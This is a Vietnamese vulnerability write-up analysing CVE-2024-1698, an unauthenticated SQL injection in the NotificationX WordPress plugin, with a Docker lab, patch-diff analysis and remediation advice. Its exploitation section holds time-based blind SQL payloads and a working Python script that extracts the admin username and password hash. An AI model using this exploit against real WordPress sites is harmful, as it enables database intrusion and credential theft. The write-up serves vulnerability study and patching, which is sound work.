---
# System prepended metadata

title: CVE-2024-1698 - Lỗ hổng SQL Injection không cần xác thực trong plugin NotificationX WordPress

---

# CVE-2024-1698 - Lỗ hổng SQL Injection không cần xác thực trong plugin NotificationX WordPress

## Giới thiệu
NotificationX là một plugin phổ biến cho nền tảng WordPress, được thiết kế để giúp các quản trị viên website tạo ra các thông báo thời gian thực nhằm tăng cường tương tác của người dùng. Plugin này hỗ trợ hiển thị các thông báo về hoạt động của người dùng trên trang web, chẳng hạn như thông báo về đơn hàng mới, bình luận mới, hay số lượng người đăng ký gần đây. Các tính năng chính bao gồm:

- Hiển thị thông báo dạng pop-up về các hành động trên trang, giúp tăng sự tin tưởng và thúc đẩy người dùng thực hiện các hành động tương tự.
- Tích hợp dễ dàng với các công cụ như WooCommerce, Mailchimp, Zapier, và nhiều nền tảng khác, giúp theo dõi và hiển thị dữ liệu một cách tự động.
- Thiết kế tùy chỉnh: Cho phép tùy chỉnh giao diện và cách hiển thị thông báo để phù hợp với thương hiệu và trải nghiệm người dùng của trang web.
- Tối ưu hóa hiệu suất: Plugin được thiết kế nhẹ và tối ưu để không làm giảm tốc độ tải của trang web.

Với các tính năng dễ sử dụng và tích hợp mạnh mẽ, NotificationX đã trở thành một trong những plugin phổ biến nhất để tạo thông báo xã hội trên các trang WordPress, giúp cải thiện tỷ lệ chuyển đổi và tăng cường tương tác của người dùng. 
![image](https://hackmd.io/_uploads/BJbmwIdA0.png)

## CVE-2024-1698 là gì?
**CVE-2024-1698** là một lỗ hổng bảo mật liên quan đến SQL Injection trong plugin NotificationX của WordPress. Đây là một dạng lỗ hổng không yêu cầu xác thực, cho phép kẻ tấn công gửi các truy vấn SQL độc hại tới cơ sở dữ liệu của trang web mà không cần quyền truy cập hợp lệ.

Theo Cơ sở Dữ liệu Lỗ hổng Quốc gia (NVD) thì **CVE-2024-1698** được mô tả như sau:
- Lỗ hổng **`SQL Injection`** tồn tại trong plugin **NotificationX – Live Sales Notification, WooCommerce Sales Popup, FOMO, Social Proof, Announcement Banner & Floating Notification Top Bar** dành cho **WordPress**, trong tất cả các phiên bản lên tới, và bao gồm cả, 2.8.2. Lỗ hổng này phát sinh do việc thoát dữ liệu không đầy đủ của tham số `type` do người dùng cung cấp và chuẩn bị truy vấn SQL không đầy đủ. Điều này khiến kẻ tấn công có thể tiêm các truy vấn SQL bổ sung vào các truy vấn hiện có mà không cần phải xác thực. Kẻ tấn công có thể lợi dụng lỗ hổng này để truy xuất dữ liệu nhạy cảm từ cơ sở dữ liệu của trang web.
![image](https://hackmd.io/_uploads/B1Mm9vdR0.png)

---

## Setup Lab
### Docker
Sử dụng Docker để thiết lập một môi trường thử nghiệm (lab) phân tích lỗ hổng CVE-2024-1698 trong plugin NotificationX trên WordPress 
Chúng ta sẽ có một thư mục CVE-2024-1698 trong thư mục này chúng ta sẽ có 3 file `Dockerfile`, `docker-compose.yml`, .`env`.
```
/CVE-2024-1698
│
├── Dockerfile
├── docker-compose.yml
└── .env
```

****`Dockerfile`****:
```
FROM wordpress:apache

RUN apt-get update \
    && apt-get install -y vim wget unzip

RUN cd /tmp \
    && wget https://downloads.wordpress.org/plugin/notificationx.2.8.2.zip \
    && unzip notificationx.2.8.2.zip \
    && mv /tmp/notificationx /usr/src/wordpress/wp-content/plugins/ \
    && rm /tmp/notificationx.2.8.2.zip
```

****`docker-compose.yml`****:
```
version: "3"
services:
    # Database
    db:
        image: mysql:5.7
        volumes:
            - db_data:/var/lib/mysql
        restart: always
        env_file: .env
        environment:
            MYSQL_ROOT_PASSWORD: $MYSQL_ROOT_PASSWORD
            MYSQL_DATABASE: $MYSQL_DATABASE
            MYSQL_USER: $MYSQL_USER
            MYSQL_PASSWORD: $MYSQL_PASSWORD
        networks:
            - wpNetwork

    # WordPress
    wordpress:
        depends_on:
            - db
        build: .
        ports:
            - "80:80"
        restart: always
        volumes:
            - wp_data:/var/www/html
        env_file: .env
        environment:
            WORDPRESS_DB_HOST: db:3306
            WORDPRESS_DB_NAME: $MYSQL_DATABASE
            WORDPRESS_DB_USER: $MYSQL_USER
            WORDPRESS_DB_PASSWORD: $MYSQL_PASSWORD
        networks:
            - wpNetwork
networks:
    wpNetwork:
volumes:
    db_data:
    wp_data:
```
**`.env`**
```
MYSQL_ROOT_PASSWORD = superadmin
MYSQL_DATABASE = wordpress
MYSQL_USER = dbuser
MYSQL_PASSWORD = admin
```
Tiếp theo hãy khởi đồng docker và sau đó hãy dùng câu lệnh:
```docker-compose up --build```

![image](https://hackmd.io/_uploads/S1Jpxt_0R.png)

----
### Setup Wordpress
Sau khi build xong chúng ta truy cập vào: ```http://localhost:80```
![image](https://hackmd.io/_uploads/By9KbKOR0.png)
![image](https://hackmd.io/_uploads/HkE2zj_RA.png)
Sau khi cài đặt và login chúng ta có giao diện như sau:
![image](https://hackmd.io/_uploads/H1644jdA0.png)
Tiếp theo vào phần plugin và kích hoạt **`NotificationX`**:
![image](https://hackmd.io/_uploads/S1a5ZBFAC.png)
![image](https://hackmd.io/_uploads/S1fxQSYC0.png)
![image](https://hackmd.io/_uploads/SyzXmBt00.png)
![image](https://hackmd.io/_uploads/ryRVmSKAA.png)
![image](https://hackmd.io/_uploads/ryl8mBKCC.png)
Sau khi thiết lập và cài đặt thì giao diện như sau:
![image](https://hackmd.io/_uploads/S1gdXSKRA.png)
Bây giờ chúng ta sẽ bắt đầu phân tích `CVE-2024-1698`.

----
## Phân tích lỗ hổng
Bây giờ hãy chú ý tới đoạn code xảy ra lỗ hổng ở phần hyperlink trong NVD và mở nó ra để check sự khác biệt của bản vá(patch):
**Link 1:** https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php
![image](https://hackmd.io/_uploads/H1edXvtAC.png)
Chúng ta thấy rằng vào ngày `25/2/2024` đã có một bản vá do wpdevteam thực hiện và cập nhật ở file `Database.php`.
![image](https://hackmd.io/_uploads/ryla94PtAR.png)
Chúng ta thấy dễ dàng ở dòng `111` được thay đổi khi thêm hàm `esc_sql()`. Hàm `esc_sql()` trong WordPress sẽ escape các ký tự đặc biệt trong chuỗi để an toàn khi chèn vào câu truy vấn SQL.
Input `$col` được escape trước khi truy vấn. Ở bản cũ thì `$col` không được escape chứng tỏ `$col` dính lỗ hổng SQL. 
Ở đây cần làm rõ một vài vấn đề:
- Tại sao đã sử dụng `wpdb::prepare()` thì chứng tỏ câu query an toàn được làm sạch mà vẫn xảy ra lỗi sqli? Và có thể hiểu rằng: `wpdb::prepare(): Khi bạn sử dụng hàm này, việc thoát dữ liệu bằng esc_sql() là không cần thiết vì wpdb::prepare() đã tự động thực hiện các biện pháp bảo vệ cần thiết cho dữ liệu`.Mọi người có thể xem cách hoạt động của [esc_sql()](https://developer.wordpress.org/reference/functions/esc_sql/#:~:text=In%20this%20article.%20Escapes%20data%20for) và [wpdb::prepare()](https://developer.wordpress.org/reference/classes/wpdb/prepare/).
> Chúng ta sẽ làm rõ vấn đê này:
> - **Mục đích của wpdb->prepare()**: Hàm này được thiết kế để chuẩn bị một câu lệnh SQL bằng cách thay thế các placeholder với các giá trị an toàn. Nó chủ yếu tập trung vào việc làm sạch các giá trị (data) để bảo vệ khỏi SQL Injection.
> - **Tên bảng và tên cột là cú pháp SQ**L: Tên bảng và tên cột không giống như các giá trị, chúng không cần phải được “escape” theo cách tương tự. Điều này là bởi vì cú pháp SQL không có khái niệm “escape” cho tên bảng hoặc tên cột. Chúng cần được xác định chính xác để câu lệnh SQL hoạt động.
> - **Hàm wpdb->prepare() không xử lý tên bảng và tên cột**: Khi sử dụng %1$s, %2$s, v.v. cho tên bảng và tên cột, wpdb->prepare() không làm sạch hoặc escape các tên này. Điều này có nghĩa là nếu bạn truyền vào một chuỗi không được kiểm tra cho tên bảng hoặc tên cột, nó có thể chứa các ký tự độc hại và dẫn đến SQL Injection.
--- 
**Link 2:** https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php
![image](https://hackmd.io/_uploads/rkkgc0oAR.png)
Tương tự file này cũng được update bản vá vào ngày `25/02/2024` và nhìn vào vị trí thay đổi của file `Analytics.php`.
![image](https://hackmd.io/_uploads/SyeE5RiCC.png)
Trước khi cập nhật, giá trị $type được gán theo điều kiện đơn giản:
```php=
$type = isset($params['type']) ? $params['type'] : 'clicks'
```
- Câu lệnh này chỉ đơn giản kiểm tra parameter `type` xem có tồn tại hay không. Nếu không nó sẽ gán cho `type = clicks`

Tiếp theo chúng ta sẽ xem dòng code sau khi được sửa:
```php!
$type = !empty( $params['type'] ) && in_array( $params['type'], ['clicks', 'views', 'ctr'] ) ? esc_sql( $params['type'] ) : 'clicks';
```
- Điều kiện 1: `!empty( $params['type'] )` - Phần đầu tiên kiểm tra xem `$params['type']` có trống hay không. Nếu giá trị này trống (ví dụ như `null`, `false`, hoặc `một chuỗi rỗng`), điều kiện sẽ trả về `false`.
- Điều kiện 2 `in_array( $params['type'], ['clicks', 'views', 'ctr'] )` - Điều kiện này kiểm tra xem giá trị `$params['type']` có nằm trong danh sách giá trị hợp lệ hay không. Chỉ cho phép ba giá trị: `'clicks'`, `'views'`, và `'ctr'`. Nếu `$params['type']` không thuộc danh sách này, điều kiện sẽ trả về `false`. 
- Nếu cả hai điều kiện trên đều đúng (nghĩa là `$params['type']` không trống và thuộc danh sách giá trị hợp lệ), câu lệnh sẽ chuyển sang phần tiếp theo (là lọc qua `esc_sql()`).
- Nếu một trong hai điều kiện không đúng, giá trị mặc định `'clicks'` sẽ được gán cho `$type`.

Tiếp theo chúng ta phân tích đoạn code chưa dòng code trên ở file Analytics.php ở path: `notificationx/includes/Core/Rest/Analytics.php`
- Thư mục `Rest` trong plugin `NotificationX` chứa các file PHP có liên quan đến việc thiết lập và xử lý các REST API endpoints cho plugin. Các endpoint REST API này thường được sử dụng để tương tác giữa client và server thông qua giao diện lập trình ứng dụng (API).
```php=
<?php

namespace NotificationX\Core\Rest;

use NotificationX\Admin\Settings;
use NotificationX\Core\Analytics as CoreAnalytics;
use NotificationX\GetInstance;
use NotificationX\NotificationX;
use WP_REST_Controller;
use WP_REST_Response;
use WP_REST_Server;
use WP_Error;

/**
 * @method static Analytics get_instance($args = null)
 */
class Analytics {
    /**
     * Instance of Analytics
     *
     * @var Analytics
     */
    use GetInstance;

    /**
     * Post type.
     *
     * @since 4.7.0
     * @var string
     */
    protected $post_type;
    public $namespace;
    public $rest_base;

    /**
     * Constructor.
     *
     * @since 4.7.0
     *
     * @param string $post_type Post type.
     */
    public function __construct() {
        $this->namespace = 'notificationx/v1';
        $this->rest_base = 'analytics';
        add_action('rest_api_init', [$this, 'register_routes']);
    }

    public function get_rest_url(){
        return rest_url($this->namespace . '/' . $this->rest_base);
    }

    /**
     * Registers the routes for the objects of the controller.
     *
     * @since 4.7.0
     *
     * @see register_rest_route()
     */
    public function register_routes() {
        register_rest_route(
            $this->namespace,
            '/' . $this->rest_base,
            // For Frontend analytics
            array(
                'methods'             => WP_REST_Server::EDITABLE,
                'callback'            => array($this, 'insert_analytics'),
                'permission_callback' => [$this, 'can_insert_analytics'],
                'args'                => array(
                    'nx_id' => array(
                        'required'    => true,
                        'description' => __( 'Unique identifier for the object.', 'notificationx' ),
                        'type'        => 'integer',
                    ),
                    'type' => array(
                        'required'    => false,
                        'description' => __( 'Click or View', 'notificationx' ),
                        'type'        => 'string',
                    ),
                ),
            )
        );
        register_rest_route(
            $this->namespace,
            "/{$this->rest_base}/get",
            // For backend analytics
            array(
                'methods'             => WP_REST_Server::EDITABLE,
                'callback'            => array( $this, 'get_analytics' ),
                // maybe use.
                'permission_callback' => [ $this, 'can_read_analytics' ],
                'args' => array(
                    'startDate' => array(
                        'required' => true,
                        'description' => __( 'Start of the date range.', 'notificationx' ),
                        'type'        => 'string',
                    ),
                    'endDate' => array(
                        'required' => true,
                        'description' => __( 'End of the date range.', 'notificationx' ),
                        'type'        => 'string',
                    ),
                ),
            )
        );

    }

    public function can_read_analytics( $request ) {
        return current_user_can('read_notificationx_analytics') && Settings::get_instance()->get('settings.enable_analytics', true);
    }

    public function can_insert_analytics( $request ) {
        return Settings::get_instance()->get('settings.enable_analytics', true);
    }

    public function get_analytics($request){
        $params = $request->get_params();
        $result = CoreAnalytics::get_instance()->get_stats($params);
        wp_send_json($result);
    }

    public function insert_analytics($request){
        $params = $request->get_params();
        $type   = isset($params['type']) ? $params['type'] : 'clicks';
        $result = CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );
        return ['success' => true];
    }
}
```
Chúng ta sẽ tóm tắt luồng hoạt động của đoạn code như sau, cũng như chức năng của nó:
- Khi Wordpress bắt đầu khởi tạp REST API thì nó gọi hàm `register_routers()` để đang ký các router cho NotificationX.
- Tiếp theo các router này sẽ xử lý các yêu cầu từ client và server:
    - Route `/notificationx/v1/analytics`: Ghi lại dữ liệu phân tích như lượt click, lượt xem.
    - Route `/notificationx/v1/analytics/get`: Truy xuất dữ liệu phân tích dựa trên khoảng thời gian.
- Tiếp theo phân quyền được kiểm tra bằng cách sử dụng các permission callback trước khi thực hiện thao tác, được phép hoặc không.
- Cuối cùng thì dữ sau khi phân tích được ghi và trích xuất thông qua `class CoreAnalytics`.

Vậy chúng ta đã biết luồng thực thi của đoạn code này rồi. Bây giờ chúng ta sẽ xem xét `function insert_analytics()` gây ra lỗ hổng SQL này và luồng đi của nó:
```php=
public function insert_analytics($request){
    $params = $request->get_params();
    $type   = isset($params['type']) ? $params['type'] : 'clicks';
    $result = CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );
    return ['success' => true];
}
```
> Hàm này được xem như method ở hàm `register_rest_router()` mà mình ghi ở dưới và nó nhận request từ client lấy tham số `nx_id` và `type` từ request rồi dùng `Object CoreAnalytics` để thêm dữ liệu vào hệ thống, nói dễ hiểu hơn là khi bạn đã có object của `CoreAnalytics` từ `get_instance()`, bạn gọi phương thức `insert_analytics()` trên object đó
```php=
 register_rest_route(
            $this->namespace,
            '/' . $this->rest_base,
            // For Frontend analytics
            array(
                'methods'             => WP_REST_Server::EDITABLE,
                'callback'            => array($this, 'insert_analytics'),
                'permission_callback' => [$this, 'can_insert_analytics'],
                'args'                => array(
                    'nx_id' => array(
                        'required'    => true,
                        'description' => __( 'Unique identifier for the object.', 'notificationx' ),
                        'type'        => 'integer',
                    ),
                    'type' => array(
                        'required'    => false,
                        'description' => __( 'Click or View', 'notificationx' ),
                        'type'        => 'string',
                    ),
                ),
            )
        );
```
Vậy chúng ta đã biết cách mà hàm này xử lý ở phía client tiếp theo chúng ta sẽ tập trung phân tích luồng mà dữ liệu đi vào cơ sở dữ liệu mà `untrusted data $type` gây ra.

---
***Note 1.** **Sau khi xử lý dữ liệu xong thì hệ thống sẽ gọi phương thức `insert_analytics()` của `class CoreAnalytics` để lưu số liệu và cơ sở dữ liệu.***

Từ **note 1** chúng ta sẽ xem xét tới `class CoreAnalytics` mà chính xác hơn là `class Analytics` ở `notificationx/includes/Core/Analytics.php`.
**Chúng ta sẽ xem xét hàm `insert_analytics()`:**
```php!
 public function insert_analytics( $nx_id, $type = 'clicks' ) {
        if ( ! $this->should_count() ) {
            return false;
        }
        $format = 'Y-m-d';
        $stats  = $this->stats_exists([
            'nx_id'      => $nx_id,
            'created_at' => date( self::$date_format, time() ),
        ]
        );
        if ( empty( $stats ) ) {
            $data = [
                'nx_id'  => $nx_id,
                'clicks' => $type == 'clicks' ? 1 : 0,
                'views'  => 1,
            ];
            $this->_insert_analytics( $data, time() );
        } else {
            $this->increment_count( $type, $nx_id, date( self::$date_format, time() ) );
        }
    }
```
Chúng ta sẽ xem cách đoạn code này xử lý dữ liệu:
- Đầu tiên đoạn code sẽ dùng `function should_count()` để check xem dữ liệu có nên được phân tích hay không? Vì `function` này dựa trên các yếu tố mà để xem người đó là khách hoặc người dùng đã đăng ký. Nếu không phải thì `function` này sẽ trả về false và khi này `function insert_analytics` sẽ `return false` ngay lập tức.
- Tiếp theo kiểm tra xem thống kê đã tồn tại hay chưa bằng `function stats_exitsts()`.
- Nếu dữ liệu là mới thì một `array $data` được tạo ra với `nx_id`, `clicks`(tăng `1` nếu `$type` là `clicks` ngược lại gán `0`) và `views` luôn tăng `1`.
    - Sau đó hàm _insert_analytics() được gọi để ghi nhận dữ liệu
- Nếu dữ liệu đã có thì `function increment_count()` được gọi để update dữ liệu cho `clikcs` và `views`.
- --

***Note 2: Mấu chốt ở đoạn code này sẽ có hai hướng đi đó là nếu dữ liệu là mới thì sẽ thực hiện thêm mới, còn dữ liệu đã tồn tại thì chỉ update. Vậy chọn hướng nào đi tiếp? Chính là hướng update dữ liệu vì ở trên đoạn `function update_analytics()` chứa `untrusted data`.***
Vậy như ta đã nói ở trên nếu dữ liệu tồn tại thì `function increment_count()` sẽ xử lý. Hãy xem xét nó:
```php!
public function increment_count( $type, $nx_id, $date, $_data = null ) {
        return Database::get_instance()->update_analytics( $type, $nx_id, $date, $_data );
    }
```
-  `function increment_count()` có chức năng tăng giá trị của `clicks` đã tồn tại trong cơ sở dữ liệu dựa trên `nx_id` và `date` được lấy từ `function insert_analytics`
-  `Function` này gọi `method update_analytics()` của `class Database`, truyền các tham số `type`, `nx_id`, `date`, và `_data` để cập nhật dữ liệu trong cơ sở dữ liệu.
---
***Note 3: Cuối cùng thì chúng ta cũng quay về `function update_analytics()` mà nơi cuối cùng mà dữ liệu được chèn vào và không có sự escape dữ liệu gây ra lỗ hổng SQLi.***
`notificationx/includes/Core/Database.php`
```php!
public function update_analytics( $col, $id, $date, $data = null ) {
        $table_name = self::$table_stats;
        $_data = is_null( $data ) ? 1 : intval( $data );

        return $this->wpdb->query( $this->wpdb->prepare( '
            UPDATE %1$s
            SET `%2$s` = `%3$s` + %4$s
            WHERE nx_id = "%5$s"
            AND created_at = "%6$s"',
            $table_name, $col, $col, $_data, intval( $id ), $date
        )
        );
    }
```
* $col: Tên cột là'clicks'.
* $id: ID của bài viết (hoặc mục dữ liệu) tương ứng.
* $date: Ngày tạo dữ liệu (được dùng để lọc ra bản ghi cần cập nhật).
* $data (tùy chọn): Giá trị cần tăng thêm cho cột $col. Nếu không có giá trị này, mặc định tăng thêm 1.

Lúc này nó trông sẽ kiểu như sau:
```sq!
UPDATE analyctics
SET `clicks` = `clicks` + 1
WHERE nx_id = "123"
AND created_at = "2024-09-20"
```
---
***Note 4: Vậy cuối cùng` parameter $col `của `function update_analytics()` được truyền là 'click' dựa vào `parameter $type` từ các hàm ở trên gây nên lỗ hổng. 
Nguyên nhân chính là: Tên bảng và tên cột không được xử lý hoặc "`escape`" giống như các giá trị. Vì lý do này, việc truyền vào tên bảng hoặc tên cột không được kiểm tra có thể dẫn đến các lỗ hổng bảo mật. Nếu một chuỗi không hợp lệ được đưa vào, điều này có thể dẫn đến việc câu lệnh SQL bị thay đổi hoặc thậm chí là bị tấn công.***

Từ đây chúng ta sẽ tiến hành khai thác lỗ hổng.

---
## Khai thác lỗ hổng

Chúng ta sẽ truy cập vào WordPress REST API ở `path wp-json`. Đây là endpoint chính cho REST API của WordPress. Thông tin trả về là JSON chứa thông tin về các route có sẵn trong REST API.
![image](https://hackmd.io/_uploads/Sy53R5uykl.png)
![image](https://hackmd.io/_uploads/rJj-1oukJl.png)
Ở phần `routes` này chúng ta có thể thấy được API Endpoint `/notificationx/v1/analytics` tương tác với cơ sở dữ liệu.

### Kích hoạt lỗ hổng

Bây giờ chúng ta sẽ trigger lỗ hổng này lên thông qua tool Burp suite.
Chúng ta sẽ dùng nó để bắt và sửa request ở endpoint này.
![image](https://hackmd.io/_uploads/SyY7louJkl.png)
Như hình bạn thấy chúng ta đã thêm dữ liệu mới vào cơ sở dữ liệu. Bây giờ dữ liệu đã có trong cơ sở dữ liệu, nếu cùng `parameter nx_id=10` thì lúc này `clicks` sẽ tăng lên `1`.
**Payload chúng ta sử dụng:**
```sql
=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -
```
- Đoạn mã này sẽ được dùng `function SUBSTRING()` để trích xuất chuỗi con từ chuỗi cha. Cụ thể ở payload trên sẽ xem ký tự đầu tiền của chuỗi cha là tên `version` của `mysql` có phải là `5` không? Nếu bằng `5` thì sẽ `sleep 10s`, nếu sai thì trả về `null`, sau đó là dùng `sql comment` `-- -`.
![image](https://hackmd.io/_uploads/HkTUni_kJl.png)
- Chú ý tại sao lại dùng dấu `backtick` ``, vì trong SQL nó dùng để bao quanh tên cột hoặc tên bảng nhằm phân biệt chúng với các từ khóa SQL hoặc các ký tự đặc biệt khác. 
- Lúc đó câu truy vấn sẽ như sau:
```sql!
UPDATE wp_nx_stats SET clicks=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -` = clicks=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -` + 1 WHERE nx_id = "10" AND created_at = "2024-09-20"
```
Vậy chúng ta đã khai thác được lỗ hổng này. Vậy giờ chúng ta sẽ viết tool khai thác triệt để nó.

## POC
Goal của các tool này sẽ là lấy password admin.
Chúng ta sẽ xem xét table `wp_users` trong WordPress, nó là table lưu trữ thông tin người dùng của trang web.
![image](https://hackmd.io/_uploads/H1XGNmY1kl.png)
Format củamột hash mật khẩu trong WordPress trông như sau:
```shel!
$P$B4RSk6l8LP1uc0xL0G2a/.27L1g6eP2
```
- `P`: Chỉ ra rằng thuật toán băm là phpass.
- `B4`: Cost factor là 8 (tăng cường bảo mật).
- `RSk6l8LP1uc0xL0G2a/.27L1g6eP2`: Salt và giá trị băm thực tế.

Bây giờ payload sẽ như này: 
```sql!
=IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users where id = 1),1,1))=36,sleep(10),null)
```
- Cách hoạt động payload này nó sẽ trích xuất ký tự đầu của chuỗi `user_pass` với `id=1` so sánh mã `ASCII `với giá trị `36` lúc này là `$`.

Ý tưởng lúc này để xây dựng tool:
- So sánh từng ký tự với giá trị ASCII chạy từ 0-256
- Sử dụng thời gian trễ để phát hiện ký tự đúng
 

```python!
import requests
from sys import exit


delay_time = 0.2

url = "http://localhost/wp-json/notificationx/v1/analytics"

session = requests.Session()

query_user = "SELECT user_login FROM wp_users WHERE id=1"
query_pass = "SELECT user_pass FROM wp_users WHERE id=1"

def get_data(query,field_name):
    result = ""
    for char_position in range(1,40):
        for ascii_value in range(256):
            payload = {
                "nx_id" : 10,
                "type" : f"clicks`=IF(ASCII(SUBSTRING(({query}),{char_position},1)) = {ascii_value}, sleep({delay_time}),null)-- -"
            }
            response = session.post(url, data=payload)
            
            if response.elapsed.total_seconds() > delay_time:
                result += chr(ascii_value)
                if ascii_value == 0: #null byte
                    print(f"[*]{field_name} : {result}")
                    return result
                break

username = get_data(query_user, "Username")
password_hash = get_data(query_pass, "Password hash")
```
```shel!
 python .\cve-2024-1698-exploit.py       
[*]Username : adminmpei
[*]Password hash : $P$BqDIDri63p1Wk4jCo9r/ctyDixajQv0
```    

## Biện pháp khắc phục 
**Xác thực và escape tự đầu vào:**
>Luôn kiểm tra và làm sạch đầu vào từ người dùng trước khi sử dụng nó trong các truy vấn SQL. Đối với trường hợp này, tham số `$type` phải được xác thực để chỉ chấp nhận các giá trị clicks, views, hoặc ctr. Còn `$col`, cần được xử lý bằng các hàm  `esc_sql()` để đảm bảo rằng các ký tự đặc biệt không thể được thực thi trong truy vấn SQL.

## Kết luận 
Qua quá trình phân tích CVE-2024-1698 này, chúng ta có cái nhìn tổng quan hơn về lỗ hổng SQL và các function cùng parameter của nó tương tác với nhau (Flow).
Qua đây chúng ta học được:
 - Mọi dữ liệu input đều cần kiểm tra kỹ lưỡng bằng cách xác thực, làm sạch, filter hoặc escape nó.
 - Học cách phân tích mã nguồn hiểu được cách thức hoạt động của nó.
 - Viết được tool tự động khai thác từ đó giúp ta hiểu rõ hơn bản chất lỗ hổng.
Cảm ơn các bạn đã dành thời gian đọc bài !

## Tài liệu tham khảo
1. https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php
2. https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php
3. https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php
4. https://github.com/kamranhasan/CVE-2024-1698-Exploit